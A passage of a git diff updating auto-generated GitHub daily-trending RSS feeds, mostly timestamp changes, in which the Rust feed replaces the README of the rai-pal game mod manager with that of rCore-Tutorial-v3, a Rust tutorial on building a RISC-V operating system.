GitHub RenderScript Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:36:44Z
+ 2024-01-04T01:37:37ZDaily Trending of RenderScript in GitHub
\ No newline at end of file
diff --git a/rescript/daily/index.xml b/rescript/daily/index.xml
index 557df395dbf..c15e4e4f859 100644
--- a/rescript/daily/index.xml
+++ b/rescript/daily/index.xml
@@ -1,7 +1,7 @@
GitHub ReScript Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:36:49Z
+ 2024-01-04T01:37:39ZDaily Trending of ReScript in GitHub
\ No newline at end of file
diff --git a/restructuredtext/daily/index.xml b/restructuredtext/daily/index.xml
index 90ba62e1a92..70518514a54 100644
--- a/restructuredtext/daily/index.xml
+++ b/restructuredtext/daily/index.xml
@@ -1,7 +1,7 @@
GitHub reStructuredText Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:36:48Z
+ 2024-01-04T01:37:40ZDaily Trending of reStructuredText in GitHub
\ No newline at end of file
diff --git a/rexx/daily/index.xml b/rexx/daily/index.xml
index 3be1d6fcaa4..29926b16735 100644
--- a/rexx/daily/index.xml
+++ b/rexx/daily/index.xml
@@ -1,7 +1,7 @@
GitHub REXX Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:36:47Z
+ 2024-01-04T01:37:38ZDaily Trending of REXX in GitHub
\ No newline at end of file
diff --git a/rich-text-format/daily/index.xml b/rich-text-format/daily/index.xml
index fc8b8721fc7..0b74d478f87 100644
--- a/rich-text-format/daily/index.xml
+++ b/rich-text-format/daily/index.xml
@@ -1,14 +1,7 @@
GitHub Rich Text Format Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:36:51Z
+ 2024-01-04T01:37:44ZDaily Trending of Rich Text Format in GitHub
-
- thebiscuitaep/OpenCoreIconsPack
- 2024-01-03T01:36:51Z
- tag:github.com,2024-01-03:/thebiscuitaep/OpenCoreIconsPack
-
- <p>Modern Icons Pack For Open Core!</p><hr>
-
\ No newline at end of file
diff --git a/ring/daily/index.xml b/ring/daily/index.xml
index 74869fe9ad6..cf6ac4458a5 100644
--- a/ring/daily/index.xml
+++ b/ring/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Ring Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:36:52Z
+ 2024-01-04T01:37:43ZDaily Trending of Ring in GitHub
\ No newline at end of file
diff --git a/riot/daily/index.xml b/riot/daily/index.xml
index cf72c417c3e..ad5578cf12e 100644
--- a/riot/daily/index.xml
+++ b/riot/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Riot Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:36:50Z
+ 2024-01-04T01:37:42ZDaily Trending of Riot in GitHub
\ No newline at end of file
diff --git a/rmarkdown/daily/index.xml b/rmarkdown/daily/index.xml
index 1eb7864263b..1fab08999fd 100644
--- a/rmarkdown/daily/index.xml
+++ b/rmarkdown/daily/index.xml
@@ -1,7 +1,7 @@
GitHub RMarkdown Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:36:53Z
+ 2024-01-04T01:37:41ZDaily Trending of RMarkdown in GitHub
\ No newline at end of file
diff --git a/robotframework/daily/index.xml b/robotframework/daily/index.xml
index a17d4e97056..806b587c4f0 100644
--- a/robotframework/daily/index.xml
+++ b/robotframework/daily/index.xml
@@ -1,7 +1,7 @@
GitHub RobotFramework Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:36:54Z
+ 2024-01-04T01:37:45ZDaily Trending of RobotFramework in GitHub
\ No newline at end of file
diff --git a/robots.txt/daily/index.xml b/robots.txt/daily/index.xml
index 3e1fd6f6ebe..b364c78d650 100644
--- a/robots.txt/daily/index.xml
+++ b/robots.txt/daily/index.xml
@@ -1,7 +1,7 @@
GitHub robots.txt Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:36:55Z
+ 2024-01-04T01:37:45ZDaily Trending of robots.txt in GitHub
\ No newline at end of file
diff --git a/roff-manpage/daily/index.xml b/roff-manpage/daily/index.xml
index 6ee07be8f84..3c2eda7697c 100644
--- a/roff-manpage/daily/index.xml
+++ b/roff-manpage/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Roff Manpage Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:36:56Z
+ 2024-01-04T01:37:46ZDaily Trending of Roff Manpage in GitHub
\ No newline at end of file
diff --git a/roff/daily/index.xml b/roff/daily/index.xml
index dd164a4bab5..acc34e6e2e9 100644
--- a/roff/daily/index.xml
+++ b/roff/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Roff Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:36:57Z
+ 2024-01-04T01:37:47ZDaily Trending of Roff in GitHub
\ No newline at end of file
diff --git a/rouge/daily/index.xml b/rouge/daily/index.xml
index 76420e10ea2..dcff300d5e8 100644
--- a/rouge/daily/index.xml
+++ b/rouge/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Rouge Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:36:58Z
+ 2024-01-04T01:37:48ZDaily Trending of Rouge in GitHub
\ No newline at end of file
diff --git a/rpc/daily/index.xml b/rpc/daily/index.xml
index 379c2761052..f6dcb08c0c0 100644
--- a/rpc/daily/index.xml
+++ b/rpc/daily/index.xml
@@ -1,7 +1,7 @@
GitHub RPC Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:36:59Z
+ 2024-01-04T01:37:49ZDaily Trending of RPC in GitHub
\ No newline at end of file
diff --git a/rpgle/daily/index.xml b/rpgle/daily/index.xml
index f594390975b..fec7060db45 100644
--- a/rpgle/daily/index.xml
+++ b/rpgle/daily/index.xml
@@ -1,7 +1,7 @@
GitHub RPGLE Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:37:01Z
+ 2024-01-04T01:37:50ZDaily Trending of RPGLE in GitHub
\ No newline at end of file
diff --git a/rpm-spec/daily/index.xml b/rpm-spec/daily/index.xml
index 7ac9b9ace5d..e28929bf959 100644
--- a/rpm-spec/daily/index.xml
+++ b/rpm-spec/daily/index.xml
@@ -1,7 +1,7 @@
GitHub RPM Spec Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:37:02Z
+ 2024-01-04T01:37:52ZDaily Trending of RPM Spec in GitHub
\ No newline at end of file
diff --git a/ruby/daily/index.xml b/ruby/daily/index.xml
index 04a2537188c..b5995ed0fbe 100644
--- a/ruby/daily/index.xml
+++ b/ruby/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Ruby Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:37:14Z
+ 2024-01-04T01:38:04ZDaily Trending of Ruby in GitHub
\ No newline at end of file
diff --git a/runoff/daily/index.xml b/runoff/daily/index.xml
index 3c17be840e9..3342e4dd801 100644
--- a/runoff/daily/index.xml
+++ b/runoff/daily/index.xml
@@ -1,7 +1,7 @@
GitHub RUNOFF Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:37:02Z
+ 2024-01-04T01:37:51ZDaily Trending of RUNOFF in GitHub
\ No newline at end of file
diff --git a/rust/daily/index.xml b/rust/daily/index.xml
index 99080cde49b..865cdc021da 100644
--- a/rust/daily/index.xml
+++ b/rust/daily/index.xml
@@ -1,14 +1,14 @@
GitHub Rust Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:37:07Z
+ 2024-01-04T01:37:56ZDaily Trending of Rust in GitHub
- Raicuparta/rai-pal
- 2024-01-03T01:37:07Z
- tag:github.com,2024-01-03:/Raicuparta/rai-pal
-
- <p>Mod manager for universal game mods</p><hr><h1><img src="https://github.com/Raicuparta/rai-pal/assets/3955124/7386ee78-e859-4ecd-876f-1727c2304c87" alt="image"></h1>
<p><a href="https://raicuparta.com"><img src="https://img.shields.io/badge/-raicuparta.com-blue?style=flat-square&color=563397&logo=data%3Aimage%2Fpng%3Bbase64%2CiVBORw0KGgoAAAANSUhEUgAAABQAAAASCAMAAABsDg4iAAAAAXNSR0IB2cksfwAAAAlwSFlzAAALEwAACxMBAJqcGAAAApdQTFRFAAAA9sIq9sIq9sIq9sIq9sIq9sIq9sIq9sIq9sIq9sIq9sIq9sIq9sIq9sIq9sIq98Mp9sIq9sIq9sIq56xC4aJM3p1R1I5g%2Bscl9sIq9sIq2ZZYr1Wd9L8t8Lkz98Mpt2GQ0otj9sIq9sIq9sIq7bQ5pkirxXh4rVOe77c2p0qo5KZI9sIq9sIq9sIq9cErv26CoD60p0mprlOerlSe8bsx98Iq9sIq9sIq9sIq9sIq9sIq9sIq77wpzaEj9cIq874v6a8%2B7rY2zYNr6KxB9cEpim0XupMg9sIq9sIq9sIqyZ8jEg8EpYIc8b0t8r4w8b0y7ro46bU%2FoHwqDAkGZVAW9sIq9sIq9sIq9L8r7bcs4qsv2J4z16NXz5tlfFpPHRUOUj4lvYtw0pqC0pqIi2ZbGhMRlGxk3qKW%2BMUqs3M%2FqWc%2Bp2U9xohx2Z6T3KCV36OXv4uBUjw4HhYUonZuxI%2BEKx8deFhRZ0tG66yf97Sn4KCPtnVSsW9K6aiZ76%2Bi8bCj9LKlak5IV0A7vYmAzYCN7Xym4IqatIF7Vj876qqe6aqe9rSnxYNkz4xy9rSn9bOm46aa%2BLSnuoh%2Brmh48XOq7lyr7VWr7lqr7maq5n2hYkdDKB0b97Sn9bKk9rOm97Sn3KGVJxwapnlwTjY111aa7lWsx0iPKhkduYh%2F97Sn97Sn9bKma05IBwUFEw0NditV3U%2Bg41Gk7lWr3E%2BflzZtQBcuQi8s%2F8u897Sn97Sn97Sn5aebc1NOY0dDIg4YiFNeXyNEaTtJW0I%2BfVtUcVNN97Sn97Sn152R9LGlwIyC4KOX%2BLWo%2FLms97Sn97Sn97Sn97Sn97Sn97Sn97Sn97Sn97Sn97Sn97Sn97Sn97Sn97Sn97SnUVD75gAAAN10Uk5TAAIdZJytk1UUDXnm%2Fv%2F9xyIgu%2Fv%2F%2F%2F%2B0AkTi%2F%2F%2F%2F%2F%2F%2F%2F%2FCox6v%2F%2F%2F%2F%2F%2F%2F%2F99ATz%2F%2F%2F%2F%2F%2F%2F%2F%2F7qWYqooz5P%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F3v2zF%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F708bBt%2F8%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FhdC5n%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2BUTe%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F1mH%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2Fimj%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FlEi8%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F3gwBav3%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2Flkbu7%2F%2F%2F%2F%2F8QMCPsv598hDD0BwlKCTOQ4NJ5LvAAAAs0lEQVQYGQXBPSoAAACA0e9NUn6SFGXCYiAxipWUmQNYHMBkNzmAxQGYLWZmkgwWm6IkkZKF91QVwE9VqhqEwkeVqjF%2BB%2FzUIC%2BVaspXjQCeKjXrtZoEuF%2B41%2BLbV9UMAKy6q5YAuF5j66pqHQDO7AIAnJR9AABH6RAA4CAdAwDspVOAz2oUO%2Bncd0MAsJkueW7axTZgtdTlsMc%2BR%2F7m4X18pVQ3uK1a5nmjUtUDeJswV9U%2FPAYlllR%2F3sAAAAAASUVORK5CYII%3D" alt="Raicuparta's VR mods"></a> <a href="https://www.patreon.com/raivr"><img src="https://img.shields.io/badge/dynamic/json?style=flat-square&color=D93841&label=Patreon&logoColor=fff&query=data.attributes.patron_count&url=https%3A%2F%2Fwww.patreon.com%2Fapi%2Fcampaigns%2F7004713&logo=patreon" alt="Support on Patreon"></a> <a href="https://paypal.me/raicuparta/5usd"><img src="https://img.shields.io/badge/PayPal-$$$-blue?style=flat-square&color=00457C&logo=data%3Aimage%2Fpng%3Bbase64%2CiVBORw0KGgoAAAANSUhEUgAAABwAAAAhCAMAAAD9NzvVAAAAAXNSR0IB2cksfwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAZ5QTFRFAAAA%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F2jFIFAAAAIp0Uk5TAE%2FH0tPU1dDJtH5FDL3%2F8ookBffjOR7%2BxkZbZIuMo6qczYIB8FM8jR%2F6F%2FV2pArggT8CuZQEv%2F0OzrEvXPjxIN%2F8vBHuMvlRCGZHtrK3q48TBjZhaocYKSgqMTtVhOu7Foj0PtHh87DKupYQJc%2F7qNgm5uozxa1LEnlASokdbuK1FTQs3nTtLWvW2bD6ewAAAYBJREFUeJxt0fk%2FAkEUAPBH7ZZrQgm5qo3kiKRcyVkUcuQIEcp93%2Fd99l%2FbZpaamvfLm33fz9t9bwdAjKxsmUwul3Mcz8kVypzcvHxIRgGiQ1VY9G%2FFapQempI%2F1GYYKi37e3N5JiKkk7CChZUSVrGwWsIaFuolNLDQKAgJE0wsrK0zJwauZ5mlwdjYJGItC5utLUgpYivDVDYbQiaANjsD2x1OhDoAOrsyrbvH1YuQG6CvP50GBodsw2LmADxumrz2kVEfbhB%2Fkr8U19SGsfEJe2BSNzU9o8cVUxBgljTMzS%2BEQotLy%2BEV5yqpRNYA1vFpI6qLKRTc5lbyyz5xzW183Antpo21ZwXYL8PHwMEhRUfHDWKj54R88rQl1c6C1sSdhM%2FxU8WFiizCGy6vzNc35DJvj3Dx7p60PEBqkJ3Q4xNOFj%2BFZEivw4yzxkPhMy7ywgtZXEshmWfsVYmzvpPCt%2FJEvEc%2FMH4KwAjXF8Ywy2CF3M03E39i8Xicj1ip4i%2BcY08HRSSK8AAAAABJRU5ErkJggg%3D%3D" alt="Donate with PayPal"></a> <a href="https://www.youtube.com/c/Raicuparta"><img src="https://img.shields.io/endpoint?color=AD1717&label=YouTube&logoColor=fff&style=flat-square&url=https%3A%2F%2Fyoutube-channel-badge-orpin.vercel.app%2Fapi%2Fsubscriber" alt="Raicuparta's Youtube"></a> <a href="https://twitter.com/Raicuparta"><img src="https://img.shields.io/badge/Twitter-sucks-1DA1F2?logo=twitter&style=flat-square&logoColor=white" alt="Twitter @Raicuparta"></a> <a href="https://mastodon.gamedev.place/@Raicuparta"><img src="https://img.shields.io/mastodon/follow/109258008992010873?color=6a5df9&domain=https%3A%2F%2Fmastodon.gamedev.place&label=Mastodon&logo=mastodon&logoColor=white&style=flat-square" alt="Mastodon @Raicuparta"></a></p>
<blockquote>
<p>โ ๏ธ <strong>Warning</strong>:<br> Work in progress, lots of features missing, expect bugs.</p>
</blockquote>
<p><a href="https://github.com/Raicuparta/rai-pal/releases/latest"><strong>Download Rai Pal</strong></a></p>
<p>This is a thing to help find games of a specific engine, and then easily install universal mods for that game. I made it because when I'm making mods for games, there's a few different steps that are repeated for every game:</p>
<ul>
<li>Checking the game engine.</li>
<li>Checking the engine version.</li>
<li>Checking the Unity scripting backend (il2cpp/mono).</li>
<li>Installing Unity Explorer for inspecting the game scenes.</li>
<li>etc</li>
</ul>
<p>So this tool automates a lot of that work. This also lets you filter your Steam owned games by engine, so you can for instance find all the Unreal games you own.</p>
<h2>UEVR</h2>
<p>Rai Pal can make it easier to use <a href="https://uevr.io/">Praydog's UEVR</a>, a universal VR mod for Unreal Engine games. Here are some of the fun activities Rai Pal can help you with:</p>
<ul>
<li>Find all the Unreal Engine games in your Steam library (even the ones you haven't installed yet).</li>
<li>Automatically find installed Unreal Engine games (supports Steam, GOG, and Epic, more to come later).</li>
<li>Detect the Unreal Engine version of games you have installed.</li>
<li>Show the UEVR compatibility score for installed Steam games (hidden by default, check the filters menu).</li>
<li>Download and auto-update UEVR.</li>
<li>Launch UEVR for a specific game, so you don't need to select the game process in the UEVR menu.</li>
</ul>
<h2>License</h2>
<pre><code>Rai Pal
Copyright (C) 2023 Raicuparta
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
</code></pre>
+ rcore-os/rCore-Tutorial-v3
+ 2024-01-04T01:37:56Z
+ tag:github.com,2024-01-04:/rcore-os/rCore-Tutorial-v3
+
+ <p>Let's write an OS which can run on RISC-V in Rust from scratch!</p><hr><h1>rCore-Tutorial-v3</h1>
<p>rCore-Tutorial version 3.6. See the <a href="https://rcore-os.github.io/rCore-Tutorial-Book-v3/">Documentation in Chinese</a>.</p>
<p>rCore-Tutorial API Docs. See the <a href="https://raw.githubusercontent.com/rcore-os/rCore-Tutorial-v3/main/#OS-API-DOCS">API Docs of Ten OSes </a></p>
<p>If you don't know Rust Language and try to learn it, please visit <a href="https://github.com/rcore-os/rCore/wiki/study-resource-of-system-programming-in-RUST">Rust Learning Resources</a></p>
<p>Official QQ group number:</p>
<ul>
<li>Group 1: 735045051(FULL)</li>
<li>Group 2: 635245268</li>
</ul>
<h2>news</h2>
<ul>
<li>23/06/2022: Version 3.6.0 is on the way! Now we directly update the code on chX branches, please periodically check if there are any updates.</li>
</ul>
<h2>Overview</h2>
<p>This project aims to show how to write an <strong>Unix-like OS</strong> running on <strong>RISC-V</strong> platforms <strong>from scratch</strong> in <strong><a href="https://www.rust-lang.org/">Rust</a></strong> for <strong>beginners</strong> without any background knowledge about <strong>computer architectures, assembly languages or operating systems</strong>.</p>
<h2>Features</h2>
<ul>
<li>Platform supported: <code>qemu-system-riscv64</code> simulator or dev boards based on <a href="https://canaan.io/product/kendryteai">Kendryte K210 SoC</a> such as <a href="https://www.seeedstudio.com/Sipeed-MAIX-Dock-p-4815.html">Maix Dock</a></li>
<li>OS
<ul>
<li>concurrency of multiple processes each of which contains mutiple native threads</li>
<li>preemptive scheduling(Round-Robin algorithm)</li>
<li>dynamic memory management in kernel</li>
<li>virtual memory</li>
<li>a simple file system with a block cache</li>
<li>an interactive shell in the userspace</li>
</ul> </li>
<li><strong>only 4K+ LoC</strong></li>
<li><a href="https://rcore-os.github.io/rCore-Tutorial-Book-v3/">A detailed documentation in Chinese</a> in spite of the lack of comments in the code(English version is not available at present)</li>
</ul>
<h2>Prerequisites</h2>
<h3>Install Rust</h3>
<p>See <a href="https://www.rust-lang.org/tools/install">official guide</a>.</p>
<p>Install some tools:</p>
<pre><code class="language-sh">$ rustup target add riscv64gc-unknown-none-elf
$ cargo install cargo-binutils --vers =0.3.3
$ rustup component add llvm-tools-preview
$ rustup component add rust-src
</code></pre>
<h3>Install Qemu</h3>
<p>Here we manually compile and install Qemu 7.0.0. For example, on Ubuntu 18.04:</p>
<pre><code class="language-sh"># install dependency packages
$ sudo apt install autoconf automake autotools-dev curl libmpc-dev libmpfr-dev libgmp-dev \
gawk build-essential bison flex texinfo gperf libtool patchutils bc \
zlib1g-dev libexpat-dev pkg-config libglib2.0-dev libpixman-1-dev git tmux python3 python3-pip ninja-build
# download Qemu source code
$ wget https://download.qemu.org/qemu-7.0.0.tar.xz
# extract to qemu-7.0.0/
$ tar xvJf qemu-7.0.0.tar.xz
$ cd qemu-7.0.0
# build
$ ./configure --target-list=riscv64-softmmu,riscv64-linux-user
$ make -j$(nproc)
</code></pre>
<p>Then, add following contents to <code>~/.bashrc</code>(please adjust these paths according to your environment):</p>
<pre><code>export PATH=$PATH:/path/to/qemu-7.0.0/build
</code></pre>
<p>Finally, update the current shell:</p>
<pre><code class="language-sh">$ source ~/.bashrc
</code></pre>
<p>Now we can check the version of Qemu:</p>
<pre><code class="language-sh">$ qemu-system-riscv64 --version
QEMU emulator version 7.0.0
Copyright (c) 2003-2020 Fabrice Bellard and the QEMU Project developers
</code></pre>
<h3>Install RISC-V GNU Embedded Toolchain(including GDB)</h3>
<p>Download the compressed file according to your platform From <a href="https://www.sifive.com/software">Sifive website</a>(Ctrl+F 'toolchain').</p>
<p>Extract it and append the location of the 'bin' directory under its root directory to <code>$PATH</code>.</p>
<p>For example, we can check the version of GDB:</p>
<pre><code class="language-sh">$ riscv64-unknown-elf-gdb --version
GNU gdb (SiFive GDB-Metal 10.1.0-2020.12.7) 10.1
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
</code></pre>
<h3>Install serial tools(Optional, if you want to run on K210)</h3>
<pre><code class="language-sh">$ pip3 install pyserial
$ sudo apt install python3-serial
</code></pre>
<h2>Run our project</h2>
<h3>Qemu</h3>
<pre><code class="language-sh">$ git clone https://github.com/rcore-os/rCore-Tutorial-v3.git
$ cd rCore-Tutorial-v3/os
$ make run
</code></pre>
<p>After outputing some debug messages, the kernel lists all the applications available and enter the user shell:</p>
<pre><code>/**** APPS ****
mpsc_sem
usertests
pipetest
forktest2
cat
initproc
race_adder_loop
threads_arg
race_adder_mutex_spin
race_adder_mutex_blocking
forktree
user_shell
huge_write
race_adder
race_adder_atomic
threads
stack_overflow
filetest_simple
forktest_simple
cmdline_args
run_pipe_test
forktest
matrix
exit
fantastic_text
sleep_simple
yield
hello_world
pipe_large_test
sleep
phil_din_mutex
**************/
Rust user shell
>>
</code></pre>
<p>You can run any application except for <code>initproc</code> and <code>user_shell</code> itself. To run an application, just input its filename and hit enter. <code>usertests</code> can run a bunch of applications, thus it is recommended.</p>
<p>Type <code>Ctrl+a</code> then <code>x</code> to exit Qemu.</p>
<h3>K210</h3>
<p>Before chapter 6, you do not need a SD card:</p>
<pre><code class="language-sh">$ git clone https://github.com/rcore-os/rCore-Tutorial-v3.git
$ cd rCore-Tutorial-v3/os
$ make run BOARD=k210
</code></pre>
<p>From chapter 6, before running the kernel, we should insert a SD card into PC and manually write the filesystem image to it:</p>
<pre><code class="language-sh">$ cd rCore-Tutorial-v3/os
$ make sdcard
</code></pre>
<p>By default it will overwrite the device <code>/dev/sdb</code> which is the SD card, but you can provide another location. For example, <code>make sdcard SDCARD=/dev/sdc</code>.</p>
<p>After that, remove the SD card from PC and insert it to the slot of K210. Connect the K210 to PC and then:</p>
<pre><code class="language-sh">$ git clone https://github.com/rcore-os/rCore-Tutorial-v3.git
$ cd rCore-Tutorial-v3/os
$ make run BOARD=k210
</code></pre>
<p>Type <code>Ctrl+]</code> to disconnect from K210.</p>
<h2>Show runtime debug info of OS kernel version</h2>
<p>The branch of ch9-log contains a lot of debug info. You could try to run rcore tutorial for understand the internal behavior of os kernel.</p>
<pre><code class="language-sh">$ git clone https://github.com/rcore-os/rCore-Tutorial-v3.git
$ cd rCore-Tutorial-v3/os
$ git checkout ch9-log
$ make run
......
[rustsbi] RustSBI version 0.2.0-alpha.10, adapting to RISC-V SBI v0.3
.______ __ __ _______.___________. _______..______ __
| _ \ | | | | / | | / || _ \ | |
| |_) | | | | | | (----`---| |----`| (----`| |_) || |
| / | | | | \ \ | | \ \ | _ < | |
| |\ \----.| `--' |.----) | | | .----) | | |_) || |
| _| `._____| \______/ |_______/ |__| |_______/ |______/ |__|
[rustsbi] Implementation: RustSBI-QEMU Version 0.0.2
[rustsbi-dtb] Hart count: cluster0 with 1 cores
[rustsbi] misa: RV64ACDFIMSU
[rustsbi] mideleg: ssoft, stimer, sext (0x222)
[rustsbi] medeleg: ima, ia, bkpt, la, sa, uecall, ipage, lpage, spage (0xb1ab)
[rustsbi] pmp0: 0x10000000 ..= 0x10001fff (rw-)
[rustsbi] pmp1: 0x2000000 ..= 0x200ffff (rw-)
[rustsbi] pmp2: 0xc000000 ..= 0xc3fffff (rw-)
[rustsbi] pmp3: 0x80000000 ..= 0x8fffffff (rwx)
[rustsbi] enter supervisor 0x80200000
[KERN] rust_main() begin
[KERN] clear_bss() begin
[KERN] clear_bss() end
[KERN] mm::init() begin
[KERN] mm::init_heap() begin
[KERN] mm::init_heap() end
[KERN] mm::init_frame_allocator() begin
[KERN] mm::frame_allocator::lazy_static!FRAME_ALLOCATOR begin
......
</code></pre>
<h2>Rustdoc</h2>
<p>Currently it can only help you view the code since only a tiny part of the code has been documented.</p>
<p>You can open a doc html of <code>os</code> using <code>cargo doc --no-deps --open</code> under <code>os</code> directory.</p>
<h3>OS-API-DOCS</h3>
<p>The API Docs for Ten OS</p>
<ol>
<li><a href="https://learningos.github.io/rCore-Tutorial-v3/ch1/os/index.html">Lib-OS API doc</a></li>
<li><a href="https://learningos.github.io/rCore-Tutorial-v3/ch2/os/index.html">Batch-OS API doc</a></li>
<li><a href="https://learningos.github.io/rCore-Tutorial-v3/ch3-coop/os/index.html">MultiProg-OS API doc</a></li>
<li><a href="https://learningos.github.io/rCore-Tutorial-v3/ch3/os/index.html">TimeSharing-OS API doc</a></li>
<li><a href="https://learningos.github.io/rCore-Tutorial-v3/ch4/os/index.html">AddrSpace-OS API doc</a></li>
<li><a href="https://learningos.github.io/rCore-Tutorial-v3/ch5/os/index.html">Process-OS API doc</a></li>
<li><a href="https://learningos.github.io/rCore-Tutorial-v3/ch6/os/index.html">FileSystem-OS API doc</a></li>
<li><a href="https://learningos.github.io/rCore-Tutorial-v3/ch7/os/index.html">IPC-OS API doc</a></li>
<li><a href="https://learningos.github.io/rCore-Tutorial-v3/ch8/os/index.html">SyncMutex-OS API doc</a></li>
<li><a href="https://learningos.github.io/rCore-Tutorial-v3/ch9/os/index.html">IODevice-OS API doc</a></li>
</ol>
<h2>Working in progress</h2>
<p>Our first release 3.6.0 (chapter 1-9) has been published, and we are still working on it.</p>
<ul>
<li>chapter 9: need more descripts about different I/O devices</li>
</ul>
<p>Here are the updates since 3.5.0:</p>
<h3>Completed</h3>
<ul>
<li><input type="checkbox" checked disabled> automatically clean up and rebuild before running our project on a different platform</li>
